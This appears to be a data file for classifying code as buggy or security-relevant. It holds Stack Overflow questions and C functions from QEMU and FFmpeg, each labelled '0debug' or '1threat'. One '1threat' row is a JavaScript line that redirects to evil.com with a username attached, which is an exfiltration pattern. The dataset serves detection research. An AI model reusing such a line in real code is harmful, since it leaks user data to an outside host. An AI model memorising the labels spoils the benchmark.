problem
stringlengths
26
131k
labels
class label
2 classes
Trying to remove a view index above child count error : <p>What does this mean? This happens when I update a list of iterated views something like</p> <pre><code>&lt;View style={{ flexDirection: 'row', padding: 20, backgroundColor: '#fff' }}&gt; &lt;Ionicons name={jobIcon} color={theme.iconColor} size={30} /&gt; &lt;Text&gt;{jobService}&lt;/Text&gt; &lt;Text&gt;{jobDate}&lt;/Text&gt; &lt;/View&gt; </code></pre> <p>mapped inside a scrollview.</p> <p>this error pops up when I modify the array from child scene. scene1 - is where the ScrollView with job list array of views sence2 - is where I delete a job and should update scene1 when I do remove a job</p> <p><a href="https://i.stack.imgur.com/regFP.png" rel="noreferrer"><img src="https://i.stack.imgur.com/regFP.png" alt="enter image description here"></a></p>
0debug
How to get JsonData from string variable in jquery? : {"features":[{"type":"Feature","geometry":{"type":"MultiPolygon","coordinates":[[[[43.9075888632345,39.5410827982141],[43.9072923576627,39.5407692922427],[43.9070921336948,39.5405093525187],[43.906856401821,39.5402965882992],[43.9066291860298,39.5401742759428],[43.9064319803254,39.5401484540191],[43.9065181219529,39.5402838501285],[43.9066942609979,39.5405172920263],[43.9066503905753,39.5406621287682],[43.9065838779526,39.5408287916261],[43.9067755329389,39.5409986936949],[43.9071501248081,39.5411817901501],[43.9074409065243,39.5413833897095],[43.9076678059399,39.5415032206895],[43.9078429924457,39.5416138288897],[43.9078678260103,39.5415108105989],[43.9078313663027,39.5413314258037],[43.9075888632345,39.5410827982141]]]]},"properties":{"ParselNo":"1","SayfaNo":"10","Alan":"6.511,21","Mevkii":"Köy arkası","Nitelik":"Tarla","CiltNo":"1","Ada":"106","Il":"Ağrı","Ilce":"Doğubeyazıt","Pafta":"I51-c-2","Mahalle":"Alıntepe"}}],"type":"FeatureCollection","crs":{"type":"name","properties":{"name":"EPSG:4326"}}} Hi Guys, i need get json type from this string variable. i need get "coordinates" title value by json type in jquery.
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
uint64_t helper_fctiw (uint64_t arg) { CPU_DoubleU farg; farg.ll = arg; if (unlikely(float64_is_signaling_nan(farg.d))) { farg.ll = fload_invalid_op_excp(POWERPC_EXCP_FP_VXSNAN | POWERPC_EXCP_FP_VXCVI); } else if (unlikely(float64_is_nan(farg.d) || float64_is_infinity(farg.d))) { farg.ll = fload_invalid_op_excp(POWERPC_EXCP_FP_VXCVI); } else { farg.ll = float64_to_int32(farg.d, &env->fp_status); #if USE_PRECISE_EMULATION farg.ll |= 0xFFF80000ULL << 32; #endif } return farg.ll; }
1threat
jOOQ can I fetch a join of two tables into the respective POJOs : <p>In jOOQ if I want to fetch a row of a table into a jOOQ autogenerated POJOs I do, for instance:</p> <pre><code>dsl.selectFrom(USER) .where(USER.U_EMAIL.equal(email)) .fetchOptionalInto(User.class); </code></pre> <p>Now, suppose that I want to do a join between two tables, e.g. <code>USER</code> and <code>ROLE</code>, how can I fetch the result into the POJOs for these two tables?</p>
0debug
static void os_host_main_loop_wait(int *timeout) { int ret, ret2, i; PollingEntry *pe; ret = 0; for (pe = first_polling_entry; pe != NULL; pe = pe->next) { ret |= pe->func(pe->opaque); } if (ret == 0) { int err; WaitObjects *w = &wait_objects; qemu_mutex_unlock_iothread(); ret = WaitForMultipleObjects(w->num, w->events, FALSE, *timeout); qemu_mutex_lock_iothread(); if (WAIT_OBJECT_0 + 0 <= ret && ret <= WAIT_OBJECT_0 + w->num - 1) { if (w->func[ret - WAIT_OBJECT_0]) { w->func[ret - WAIT_OBJECT_0](w->opaque[ret - WAIT_OBJECT_0]); } for (i = (ret - WAIT_OBJECT_0 + 1); i < w->num; i++) { ret2 = WaitForSingleObject(w->events[i], 0); if (ret2 == WAIT_OBJECT_0) { if (w->func[i]) { w->func[i](w->opaque[i]); } } else if (ret2 != WAIT_TIMEOUT) { err = GetLastError(); fprintf(stderr, "WaitForSingleObject error %d %d\n", i, err); } } } else if (ret != WAIT_TIMEOUT) { err = GetLastError(); fprintf(stderr, "WaitForMultipleObjects error %d %d\n", ret, err); } } *timeout = 0; }
1threat
static inline int hpel_motion(MpegEncContext *s, uint8_t *dest, uint8_t *src, int src_x, int src_y, op_pixels_func *pix_op, int motion_x, int motion_y) { int dxy = 0; int emu = 0; src_x += motion_x >> 1; src_y += motion_y >> 1; src_x = av_clip(src_x, -16, s->width); if (src_x != s->width) dxy |= motion_x & 1; src_y = av_clip(src_y, -16, s->height); if (src_y != s->height) dxy |= (motion_y & 1) << 1; src += src_y * s->linesize + src_x; if (s->unrestricted_mv) { if ((unsigned)src_x > FFMAX(s->h_edge_pos - (motion_x & 1) - 8, 0) || (unsigned)src_y > FFMAX(s->v_edge_pos - (motion_y & 1) - 8, 0)) { s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, src, s->linesize, s->linesize, 9, 9, src_x, src_y, s->h_edge_pos, s->v_edge_pos); src = s->sc.edge_emu_buffer; emu = 1; } } pix_op[dxy](dest, src, s->linesize, 8); return emu; }
1threat
How do i swap current user sql? : I got a login with multiple user's .How do i swap the current user. for example if i go select current_user it return's 'user1' i would like to become 'user2' how do i do that ? p.s can i add an password to a specific user or only to the login.
0debug
best method for swapping rows in 2d array? : i want to do this in C++ code that initializes an array with 4 rows and 5 columns. The program asks user about two row numbers in the range 0 to 4. After that the program must be able to swap the rows defined by the user in a 2D array.
0debug
Function error - name not defined (python) : def getDetail(username, password): accountFile = open("accounts.txt", 'r') readFile = accountFile.readline() user = readFile.split(",") username = user[0] password = user[1] getDetail(password) I get the error: File "C:/Users/-/Desktop/-/quiz.py", line 151, in <module> getDetail(password) NameError: name 'password' is not defined How else could I define it? I am trying to split the two texts into two individual strings and access them through user[0] and user[1]. I've stored these in username and password, the parameters of the function. I want to do this so I can access the username and the password later on.
0debug
Topics on Firebase Cloud Messaging? : <p>Is there any constraints about number of different topics for Firebase Cloud Messaging in one app?</p>
0debug
Python code to cluster geographical locations(long/lat) which are within 30 min of commute to each other? : I am trying to cluster geographical locations(long / lat) where the distance between data points in a cluster should be less than or equal to 30 min from each other. I can calculate duration between two points using google map api. How can I cluster those sites which are within 30 minutes commute from each other ?
0debug
master:8088 web ui in history shows unable to connect in hadoop 2.7.2 : after running the job , in master:8088 ,when I click History it shows unable to connect. [![history][1]][1] [![unable to connect][2]][2] [1]: https://i.stack.imgur.com/f2Pve.png [2]: https://i.stack.imgur.com/J5skl.png
0debug
void ff_hevc_hls_residual_coding(HEVCContext *s, int x0, int y0, int log2_trafo_size, enum ScanType scan_idx, int c_idx) { #define GET_COORD(offset, n) \ do { \ x_c = (x_cg << 2) + scan_x_off[n]; \ y_c = (y_cg << 2) + scan_y_off[n]; \ } while (0) HEVCLocalContext *lc = s->HEVClc; int transform_skip_flag = 0; int last_significant_coeff_x, last_significant_coeff_y; int last_scan_pos; int n_end; int num_coeff = 0; int greater1_ctx = 1; int num_last_subset; int x_cg_last_sig, y_cg_last_sig; const uint8_t *scan_x_cg, *scan_y_cg, *scan_x_off, *scan_y_off; ptrdiff_t stride = s->frame->linesize[c_idx]; int hshift = s->sps->hshift[c_idx]; int vshift = s->sps->vshift[c_idx]; uint8_t *dst = &s->frame->data[c_idx][(y0 >> vshift) * stride + ((x0 >> hshift) << s->sps->pixel_shift)]; int16_t *coeffs = lc->tu.coeffs[c_idx > 0]; uint8_t significant_coeff_group_flag[8][8] = {{0}}; int explicit_rdpcm_flag = 0; int explicit_rdpcm_dir_flag; int trafo_size = 1 << log2_trafo_size; int i; int qp,shift,add,scale,scale_m; const uint8_t level_scale[] = { 40, 45, 51, 57, 64, 72 }; const uint8_t *scale_matrix = NULL; uint8_t dc_scale; int pred_mode_intra = (c_idx == 0) ? lc->tu.intra_pred_mode : lc->tu.intra_pred_mode_c; memset(coeffs, 0, trafo_size * trafo_size * sizeof(int16_t)); if (!lc->cu.cu_transquant_bypass_flag) { static const int qp_c[] = { 29, 30, 31, 32, 33, 33, 34, 34, 35, 35, 36, 36, 37, 37 }; static const uint8_t rem6[51 + 4 * 6 + 1] = { 0, 1, 2, 3, 4, 5, 0, 1, 2, 3, 4, 5, 0, 1, 2, 3, 4, 5, 0, 1, 2, 3, 4, 5, 0, 1, 2, 3, 4, 5, 0, 1, 2, 3, 4, 5, 0, 1, 2, 3, 4, 5, 0, 1, 2, 3, 4, 5, 0, 1, 2, 3, 4, 5, 0, 1, 2, 3, 4, 5, 0, 1, 2, 3, 4, 5, 0, 1, 2, 3, 4, 5, 0, 1 }; static const uint8_t div6[51 + 4 * 6 + 1] = { 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 12, 12 }; int qp_y = lc->qp_y; if (s->pps->transform_skip_enabled_flag && log2_trafo_size <= s->pps->log2_max_transform_skip_block_size) { transform_skip_flag = ff_hevc_transform_skip_flag_decode(s, c_idx); } if (c_idx == 0) { qp = qp_y + s->sps->qp_bd_offset; } else { int qp_i, offset; if (c_idx == 1) offset = s->pps->cb_qp_offset + s->sh.slice_cb_qp_offset + lc->tu.cu_qp_offset_cb; else offset = s->pps->cr_qp_offset + s->sh.slice_cr_qp_offset + lc->tu.cu_qp_offset_cr; qp_i = av_clip(qp_y + offset, - s->sps->qp_bd_offset, 57); if (s->sps->chroma_format_idc == 1) { if (qp_i < 30) qp = qp_i; else if (qp_i > 43) qp = qp_i - 6; else qp = qp_c[qp_i - 30]; } else { if (qp_i > 51) qp = 51; else qp = qp_i; } qp += s->sps->qp_bd_offset; } shift = s->sps->bit_depth + log2_trafo_size - 5; add = 1 << (shift-1); scale = level_scale[rem6[qp]] << (div6[qp]); scale_m = 16; dc_scale = 16; if (s->sps->scaling_list_enable_flag && !(transform_skip_flag && log2_trafo_size > 2)) { const ScalingList *sl = s->pps->scaling_list_data_present_flag ? &s->pps->scaling_list : &s->sps->scaling_list; int matrix_id = lc->cu.pred_mode != MODE_INTRA; matrix_id = 3 * matrix_id + c_idx; scale_matrix = sl->sl[log2_trafo_size - 2][matrix_id]; if (log2_trafo_size >= 4) dc_scale = sl->sl_dc[log2_trafo_size - 4][matrix_id]; } } else { shift = 0; add = 0; scale = 0; dc_scale = 0; } if (lc->cu.pred_mode == MODE_INTER && s->sps->explicit_rdpcm_enabled_flag && (transform_skip_flag || lc->cu.cu_transquant_bypass_flag)) { explicit_rdpcm_flag = explicit_rdpcm_flag_decode(s, c_idx); if (explicit_rdpcm_flag) { explicit_rdpcm_dir_flag = explicit_rdpcm_dir_flag_decode(s, c_idx); } } last_significant_coeff_xy_prefix_decode(s, c_idx, log2_trafo_size, &last_significant_coeff_x, &last_significant_coeff_y); if (last_significant_coeff_x > 3) { int suffix = last_significant_coeff_suffix_decode(s, last_significant_coeff_x); last_significant_coeff_x = (1 << ((last_significant_coeff_x >> 1) - 1)) * (2 + (last_significant_coeff_x & 1)) + suffix; } if (last_significant_coeff_y > 3) { int suffix = last_significant_coeff_suffix_decode(s, last_significant_coeff_y); last_significant_coeff_y = (1 << ((last_significant_coeff_y >> 1) - 1)) * (2 + (last_significant_coeff_y & 1)) + suffix; } if (scan_idx == SCAN_VERT) FFSWAP(int, last_significant_coeff_x, last_significant_coeff_y); x_cg_last_sig = last_significant_coeff_x >> 2; y_cg_last_sig = last_significant_coeff_y >> 2; switch (scan_idx) { case SCAN_DIAG: { int last_x_c = last_significant_coeff_x & 3; int last_y_c = last_significant_coeff_y & 3; scan_x_off = ff_hevc_diag_scan4x4_x; scan_y_off = ff_hevc_diag_scan4x4_y; num_coeff = diag_scan4x4_inv[last_y_c][last_x_c]; if (trafo_size == 4) { scan_x_cg = scan_1x1; scan_y_cg = scan_1x1; } else if (trafo_size == 8) { num_coeff += diag_scan2x2_inv[y_cg_last_sig][x_cg_last_sig] << 4; scan_x_cg = diag_scan2x2_x; scan_y_cg = diag_scan2x2_y; } else if (trafo_size == 16) { num_coeff += diag_scan4x4_inv[y_cg_last_sig][x_cg_last_sig] << 4; scan_x_cg = ff_hevc_diag_scan4x4_x; scan_y_cg = ff_hevc_diag_scan4x4_y; } else { num_coeff += diag_scan8x8_inv[y_cg_last_sig][x_cg_last_sig] << 4; scan_x_cg = ff_hevc_diag_scan8x8_x; scan_y_cg = ff_hevc_diag_scan8x8_y; } break; } case SCAN_HORIZ: scan_x_cg = horiz_scan2x2_x; scan_y_cg = horiz_scan2x2_y; scan_x_off = horiz_scan4x4_x; scan_y_off = horiz_scan4x4_y; num_coeff = horiz_scan8x8_inv[last_significant_coeff_y][last_significant_coeff_x]; break; default: scan_x_cg = horiz_scan2x2_y; scan_y_cg = horiz_scan2x2_x; scan_x_off = horiz_scan4x4_y; scan_y_off = horiz_scan4x4_x; num_coeff = horiz_scan8x8_inv[last_significant_coeff_x][last_significant_coeff_y]; break; } num_coeff++; num_last_subset = (num_coeff - 1) >> 4; for (i = num_last_subset; i >= 0; i--) { int n, m; int x_cg, y_cg, x_c, y_c, pos; int implicit_non_zero_coeff = 0; int64_t trans_coeff_level; int prev_sig = 0; int offset = i << 4; int rice_init = 0; uint8_t significant_coeff_flag_idx[16]; uint8_t nb_significant_coeff_flag = 0; x_cg = scan_x_cg[i]; y_cg = scan_y_cg[i]; if ((i < num_last_subset) && (i > 0)) { int ctx_cg = 0; if (x_cg < (1 << (log2_trafo_size - 2)) - 1) ctx_cg += significant_coeff_group_flag[x_cg + 1][y_cg]; if (y_cg < (1 << (log2_trafo_size - 2)) - 1) ctx_cg += significant_coeff_group_flag[x_cg][y_cg + 1]; significant_coeff_group_flag[x_cg][y_cg] = significant_coeff_group_flag_decode(s, c_idx, ctx_cg); implicit_non_zero_coeff = 1; } else { significant_coeff_group_flag[x_cg][y_cg] = ((x_cg == x_cg_last_sig && y_cg == y_cg_last_sig) || (x_cg == 0 && y_cg == 0)); } last_scan_pos = num_coeff - offset - 1; if (i == num_last_subset) { n_end = last_scan_pos - 1; significant_coeff_flag_idx[0] = last_scan_pos; nb_significant_coeff_flag = 1; } else { n_end = 15; } if (x_cg < ((1 << log2_trafo_size) - 1) >> 2) prev_sig = !!significant_coeff_group_flag[x_cg + 1][y_cg]; if (y_cg < ((1 << log2_trafo_size) - 1) >> 2) prev_sig += (!!significant_coeff_group_flag[x_cg][y_cg + 1] << 1); if (significant_coeff_group_flag[x_cg][y_cg] && n_end >= 0) { static const uint8_t ctx_idx_map[] = { 0, 1, 4, 5, 2, 3, 4, 5, 6, 6, 8, 8, 7, 7, 8, 8, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 2, 1, 0, 0, 2, 1, 0, 0, 2, 1, 0, 0, 2, 1, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 }; const uint8_t *ctx_idx_map_p; int scf_offset = 0; if (s->sps->transform_skip_context_enabled_flag && (transform_skip_flag || lc->cu.cu_transquant_bypass_flag)) { ctx_idx_map_p = (uint8_t*) &ctx_idx_map[4 * 16]; if (c_idx == 0) { scf_offset = 40; } else { scf_offset = 14 + 27; } } else { if (c_idx != 0) scf_offset = 27; if (log2_trafo_size == 2) { ctx_idx_map_p = (uint8_t*) &ctx_idx_map[0]; } else { ctx_idx_map_p = (uint8_t*) &ctx_idx_map[(prev_sig + 1) << 4]; if (c_idx == 0) { if ((x_cg > 0 || y_cg > 0)) scf_offset += 3; if (log2_trafo_size == 3) { scf_offset += (scan_idx == SCAN_DIAG) ? 9 : 15; } else { scf_offset += 21; } } else { if (log2_trafo_size == 3) scf_offset += 9; else scf_offset += 12; } } } for (n = n_end; n > 0; n--) { x_c = scan_x_off[n]; y_c = scan_y_off[n]; if (significant_coeff_flag_decode(s, x_c, y_c, scf_offset, ctx_idx_map_p)) { significant_coeff_flag_idx[nb_significant_coeff_flag] = n; nb_significant_coeff_flag++; implicit_non_zero_coeff = 0; } } if (implicit_non_zero_coeff == 0) { if (s->sps->transform_skip_context_enabled_flag && (transform_skip_flag || lc->cu.cu_transquant_bypass_flag)) { if (c_idx == 0) { scf_offset = 42; } else { scf_offset = 16 + 27; } } else { if (i == 0) { if (c_idx == 0) scf_offset = 0; else scf_offset = 27; } else { scf_offset = 2 + scf_offset; } } if (significant_coeff_flag_decode_0(s, c_idx, scf_offset) == 1) { significant_coeff_flag_idx[nb_significant_coeff_flag] = 0; nb_significant_coeff_flag++; } } else { significant_coeff_flag_idx[nb_significant_coeff_flag] = 0; nb_significant_coeff_flag++; } } n_end = nb_significant_coeff_flag; if (n_end) { int first_nz_pos_in_cg; int last_nz_pos_in_cg; int c_rice_param = 0; int first_greater1_coeff_idx = -1; uint8_t coeff_abs_level_greater1_flag[8]; uint16_t coeff_sign_flag; int sum_abs = 0; int sign_hidden; int sb_type; int ctx_set = (i > 0 && c_idx == 0) ? 2 : 0; if (s->sps->persistent_rice_adaptation_enabled_flag) { if (!transform_skip_flag && !lc->cu.cu_transquant_bypass_flag) sb_type = 2 * (c_idx == 0 ? 1 : 0); else sb_type = 2 * (c_idx == 0 ? 1 : 0) + 1; c_rice_param = lc->stat_coeff[sb_type] / 4; } if (!(i == num_last_subset) && greater1_ctx == 0) ctx_set++; greater1_ctx = 1; last_nz_pos_in_cg = significant_coeff_flag_idx[0]; for (m = 0; m < (n_end > 8 ? 8 : n_end); m++) { int inc = (ctx_set << 2) + greater1_ctx; coeff_abs_level_greater1_flag[m] = coeff_abs_level_greater1_flag_decode(s, c_idx, inc); if (coeff_abs_level_greater1_flag[m]) { greater1_ctx = 0; if (first_greater1_coeff_idx == -1) first_greater1_coeff_idx = m; } else if (greater1_ctx > 0 && greater1_ctx < 3) { greater1_ctx++; } } first_nz_pos_in_cg = significant_coeff_flag_idx[n_end - 1]; if (lc->cu.cu_transquant_bypass_flag || (lc->cu.pred_mode == MODE_INTRA && s->sps->implicit_rdpcm_enabled_flag && transform_skip_flag && (pred_mode_intra == 10 || pred_mode_intra == 26 )) || explicit_rdpcm_flag) sign_hidden = 0; else sign_hidden = (last_nz_pos_in_cg - first_nz_pos_in_cg >= 4); if (first_greater1_coeff_idx != -1) { coeff_abs_level_greater1_flag[first_greater1_coeff_idx] += coeff_abs_level_greater2_flag_decode(s, c_idx, ctx_set); } if (!s->pps->sign_data_hiding_flag || !sign_hidden ) { coeff_sign_flag = coeff_sign_flag_decode(s, nb_significant_coeff_flag) << (16 - nb_significant_coeff_flag); } else { coeff_sign_flag = coeff_sign_flag_decode(s, nb_significant_coeff_flag - 1) << (16 - (nb_significant_coeff_flag - 1)); } for (m = 0; m < n_end; m++) { n = significant_coeff_flag_idx[m]; GET_COORD(offset, n); if (m < 8) { trans_coeff_level = 1 + coeff_abs_level_greater1_flag[m]; if (trans_coeff_level == ((m == first_greater1_coeff_idx) ? 3 : 2)) { int last_coeff_abs_level_remaining = coeff_abs_level_remaining_decode(s, c_rice_param); trans_coeff_level += last_coeff_abs_level_remaining; if (trans_coeff_level > (3 << c_rice_param)) c_rice_param = s->sps->persistent_rice_adaptation_enabled_flag ? c_rice_param + 1 : FFMIN(c_rice_param + 1, 4); if (s->sps->persistent_rice_adaptation_enabled_flag && !rice_init) { int c_rice_p_init = lc->stat_coeff[sb_type] / 4; if (last_coeff_abs_level_remaining >= (3 << c_rice_p_init)) lc->stat_coeff[sb_type]++; else if (2 * last_coeff_abs_level_remaining < (1 << c_rice_p_init)) if (lc->stat_coeff[sb_type] > 0) lc->stat_coeff[sb_type]--; rice_init = 1; } } } else { int last_coeff_abs_level_remaining = coeff_abs_level_remaining_decode(s, c_rice_param); trans_coeff_level = 1 + last_coeff_abs_level_remaining; if (trans_coeff_level > (3 << c_rice_param)) c_rice_param = s->sps->persistent_rice_adaptation_enabled_flag ? c_rice_param + 1 : FFMIN(c_rice_param + 1, 4); if (s->sps->persistent_rice_adaptation_enabled_flag && !rice_init) { int c_rice_p_init = lc->stat_coeff[sb_type] / 4; if (last_coeff_abs_level_remaining >= (3 << c_rice_p_init)) lc->stat_coeff[sb_type]++; else if (2 * last_coeff_abs_level_remaining < (1 << c_rice_p_init)) if (lc->stat_coeff[sb_type] > 0) lc->stat_coeff[sb_type]--; rice_init = 1; } } if (s->pps->sign_data_hiding_flag && sign_hidden) { sum_abs += trans_coeff_level; if (n == first_nz_pos_in_cg && (sum_abs&1)) trans_coeff_level = -trans_coeff_level; } if (coeff_sign_flag >> 15) trans_coeff_level = -trans_coeff_level; coeff_sign_flag <<= 1; if(!lc->cu.cu_transquant_bypass_flag) { if (s->sps->scaling_list_enable_flag && !(transform_skip_flag && log2_trafo_size > 2)) { if(y_c || x_c || log2_trafo_size < 4) { switch(log2_trafo_size) { case 3: pos = (y_c << 3) + x_c; break; case 4: pos = ((y_c >> 1) << 3) + (x_c >> 1); break; case 5: pos = ((y_c >> 2) << 3) + (x_c >> 2); break; default: pos = (y_c << 2) + x_c; break; } scale_m = scale_matrix[pos]; } else { scale_m = dc_scale; } } trans_coeff_level = (trans_coeff_level * (int64_t)scale * (int64_t)scale_m + add) >> shift; if(trans_coeff_level < 0) { if((~trans_coeff_level) & 0xFffffffffff8000) trans_coeff_level = -32768; } else { if(trans_coeff_level & 0xffffffffffff8000) trans_coeff_level = 32767; } } coeffs[y_c * trafo_size + x_c] = trans_coeff_level; } } } if (lc->cu.cu_transquant_bypass_flag) { if (explicit_rdpcm_flag || (s->sps->implicit_rdpcm_enabled_flag && (pred_mode_intra == 10 || pred_mode_intra == 26))) { int mode = s->sps->implicit_rdpcm_enabled_flag ? (pred_mode_intra == 26) : explicit_rdpcm_dir_flag; s->hevcdsp.transform_rdpcm(coeffs, log2_trafo_size, mode); } } else { if (transform_skip_flag) { int rot = s->sps->transform_skip_rotation_enabled_flag && log2_trafo_size == 2 && lc->cu.pred_mode == MODE_INTRA; if (rot) { for (i = 0; i < 8; i++) FFSWAP(int16_t, coeffs[i], coeffs[16 - i - 1]); } s->hevcdsp.transform_skip(coeffs, log2_trafo_size); if (explicit_rdpcm_flag || (s->sps->implicit_rdpcm_enabled_flag && lc->cu.pred_mode == MODE_INTRA && (pred_mode_intra == 10 || pred_mode_intra == 26))) { int mode = explicit_rdpcm_flag ? explicit_rdpcm_dir_flag : (pred_mode_intra == 26); s->hevcdsp.transform_rdpcm(coeffs, log2_trafo_size, mode); } } else if (lc->cu.pred_mode == MODE_INTRA && c_idx == 0 && log2_trafo_size == 2) { s->hevcdsp.idct_4x4_luma(coeffs); } else { int max_xy = FFMAX(last_significant_coeff_x, last_significant_coeff_y); if (max_xy == 0) s->hevcdsp.idct_dc[log2_trafo_size-2](coeffs); else { int col_limit = last_significant_coeff_x + last_significant_coeff_y + 4; if (max_xy < 4) col_limit = FFMIN(4, col_limit); else if (max_xy < 8) col_limit = FFMIN(8, col_limit); else if (max_xy < 12) col_limit = FFMIN(24, col_limit); s->hevcdsp.idct[log2_trafo_size-2](coeffs, col_limit); } } } if (lc->tu.cross_pf) { int16_t *coeffs_y = lc->tu.coeffs[0]; for (i = 0; i < (trafo_size * trafo_size); i++) { coeffs[i] = coeffs[i] + ((lc->tu.res_scale_val * coeffs_y[i]) >> 3); } } s->hevcdsp.transform_add[log2_trafo_size-2](dst, coeffs, stride); }
1threat
static int check_protocol_support(bool *has_ipv4, bool *has_ipv6) { struct sockaddr_in sin = { .sin_family = AF_INET, .sin_addr = { .s_addr = htonl(INADDR_LOOPBACK) }, }; struct sockaddr_in6 sin6 = { .sin6_family = AF_INET6, .sin6_addr = IN6ADDR_LOOPBACK_INIT, }; if (check_bind((struct sockaddr *)&sin, sizeof(sin), has_ipv4) < 0) { return -1; } if (check_bind((struct sockaddr *)&sin6, sizeof(sin6), has_ipv6) < 0) { return -1; } return 0; }
1threat
static int vdpau_hevc_start_frame(AVCodecContext *avctx, const uint8_t *buffer, uint32_t size) { HEVCContext *h = avctx->priv_data; HEVCFrame *pic = h->ref; struct vdpau_picture_context *pic_ctx = pic->hwaccel_picture_private; VdpPictureInfoHEVC *info = &pic_ctx->info.hevc; const HEVCSPS *sps = h->ps.sps; const HEVCPPS *pps = h->ps.pps; const SliceHeader *sh = &h->sh; const ScalingList *sl = pps->scaling_list_data_present_flag ? &pps->scaling_list : &sps->scaling_list; info->chroma_format_idc = sps->chroma_format_idc; info->separate_colour_plane_flag = sps->separate_colour_plane_flag; info->pic_width_in_luma_samples = sps->width; info->pic_height_in_luma_samples = sps->height; info->bit_depth_luma_minus8 = sps->bit_depth - 8; info->bit_depth_chroma_minus8 = sps->bit_depth - 8; info->log2_max_pic_order_cnt_lsb_minus4 = sps->log2_max_poc_lsb - 4; info->sps_max_dec_pic_buffering_minus1 = sps->temporal_layer[sps->max_sub_layers - 1].max_dec_pic_buffering - 1; info->log2_min_luma_coding_block_size_minus3 = sps->log2_min_cb_size - 3; info->log2_diff_max_min_luma_coding_block_size = sps->log2_diff_max_min_coding_block_size; info->log2_min_transform_block_size_minus2 = sps->log2_min_tb_size - 2; info->log2_diff_max_min_transform_block_size = sps->log2_max_trafo_size - sps->log2_min_tb_size; info->max_transform_hierarchy_depth_inter = sps->max_transform_hierarchy_depth_inter; info->max_transform_hierarchy_depth_intra = sps->max_transform_hierarchy_depth_intra; info->scaling_list_enabled_flag = sps->scaling_list_enable_flag; for (size_t i = 0; i < 6; i++) { for (size_t j = 0; j < 16; j++) { uint8_t pos = 4 * ff_hevc_diag_scan4x4_y[j] + ff_hevc_diag_scan4x4_x[j]; info->ScalingList4x4[i][j] = sl->sl[0][i][pos]; } for (size_t j = 0; j < 64; j++) { uint8_t pos = 8 * ff_hevc_diag_scan8x8_y[j] + ff_hevc_diag_scan8x8_x[j]; info->ScalingList8x8[i][j] = sl->sl[1][i][pos]; info->ScalingList16x16[i][j] = sl->sl[2][i][pos]; if (i < 2) { info->ScalingList32x32[i][j] = sl->sl[3][i * 3][pos]; } } info->ScalingListDCCoeff16x16[i] = sl->sl_dc[0][i]; if (i < 2) { info->ScalingListDCCoeff32x32[i] = sl->sl_dc[1][i * 3]; } } info->amp_enabled_flag = sps->amp_enabled_flag; info->sample_adaptive_offset_enabled_flag = sps->sao_enabled; info->pcm_enabled_flag = sps->pcm_enabled_flag; if (info->pcm_enabled_flag) { info->pcm_sample_bit_depth_luma_minus1 = sps->pcm.bit_depth - 1; info->pcm_sample_bit_depth_chroma_minus1 = sps->pcm.bit_depth_chroma - 1; info->log2_min_pcm_luma_coding_block_size_minus3 = sps->pcm.log2_min_pcm_cb_size - 3; info->log2_diff_max_min_pcm_luma_coding_block_size = sps->pcm.log2_max_pcm_cb_size - sps->pcm.log2_min_pcm_cb_size; info->pcm_loop_filter_disabled_flag = sps->pcm.loop_filter_disable_flag; } info->num_short_term_ref_pic_sets = sps->nb_st_rps; info->long_term_ref_pics_present_flag = sps->long_term_ref_pics_present_flag; info->num_long_term_ref_pics_sps = sps->num_long_term_ref_pics_sps; info->sps_temporal_mvp_enabled_flag = sps->sps_temporal_mvp_enabled_flag; info->strong_intra_smoothing_enabled_flag = sps->sps_strong_intra_smoothing_enable_flag; info->dependent_slice_segments_enabled_flag = pps->dependent_slice_segments_enabled_flag; info->output_flag_present_flag = pps->output_flag_present_flag; info->num_extra_slice_header_bits = pps->num_extra_slice_header_bits; info->sign_data_hiding_enabled_flag = pps->sign_data_hiding_flag; info->cabac_init_present_flag = pps->cabac_init_present_flag; info->num_ref_idx_l0_default_active_minus1 = pps->num_ref_idx_l0_default_active - 1; info->num_ref_idx_l1_default_active_minus1 = pps->num_ref_idx_l1_default_active - 1; info->init_qp_minus26 = pps->pic_init_qp_minus26; info->constrained_intra_pred_flag = pps->constrained_intra_pred_flag; info->transform_skip_enabled_flag = pps->transform_skip_enabled_flag; info->cu_qp_delta_enabled_flag = pps->cu_qp_delta_enabled_flag; info->diff_cu_qp_delta_depth = pps->diff_cu_qp_delta_depth; info->pps_cb_qp_offset = pps->cb_qp_offset; info->pps_cr_qp_offset = pps->cr_qp_offset; info->pps_slice_chroma_qp_offsets_present_flag = pps->pic_slice_level_chroma_qp_offsets_present_flag; info->weighted_pred_flag = pps->weighted_pred_flag; info->weighted_bipred_flag = pps->weighted_bipred_flag; info->transquant_bypass_enabled_flag = pps->transquant_bypass_enable_flag; info->tiles_enabled_flag = pps->tiles_enabled_flag; info->entropy_coding_sync_enabled_flag = pps->entropy_coding_sync_enabled_flag; if (info->tiles_enabled_flag) { info->num_tile_columns_minus1 = pps->num_tile_columns - 1; info->num_tile_rows_minus1 = pps->num_tile_rows - 1; info->uniform_spacing_flag = pps->uniform_spacing_flag; for (ssize_t i = 0; i < pps->num_tile_columns; i++) { info->column_width_minus1[i] = pps->column_width[i] - 1; } for (ssize_t i = 0; i < pps->num_tile_rows; i++) { info->row_height_minus1[i] = pps->row_height[i] - 1; } info->loop_filter_across_tiles_enabled_flag = pps->loop_filter_across_tiles_enabled_flag; } info->pps_loop_filter_across_slices_enabled_flag = pps->seq_loop_filter_across_slices_enabled_flag; info->deblocking_filter_control_present_flag = pps->deblocking_filter_control_present_flag; info->deblocking_filter_override_enabled_flag = pps->deblocking_filter_override_enabled_flag; info->pps_deblocking_filter_disabled_flag = pps->disable_dbf; info->pps_beta_offset_div2 = pps->beta_offset / 2; info->pps_tc_offset_div2 = pps->tc_offset / 2; info->lists_modification_present_flag = pps->lists_modification_present_flag; info->log2_parallel_merge_level_minus2 = pps->log2_parallel_merge_level - 2; info->slice_segment_header_extension_present_flag = pps->slice_header_extension_present_flag; 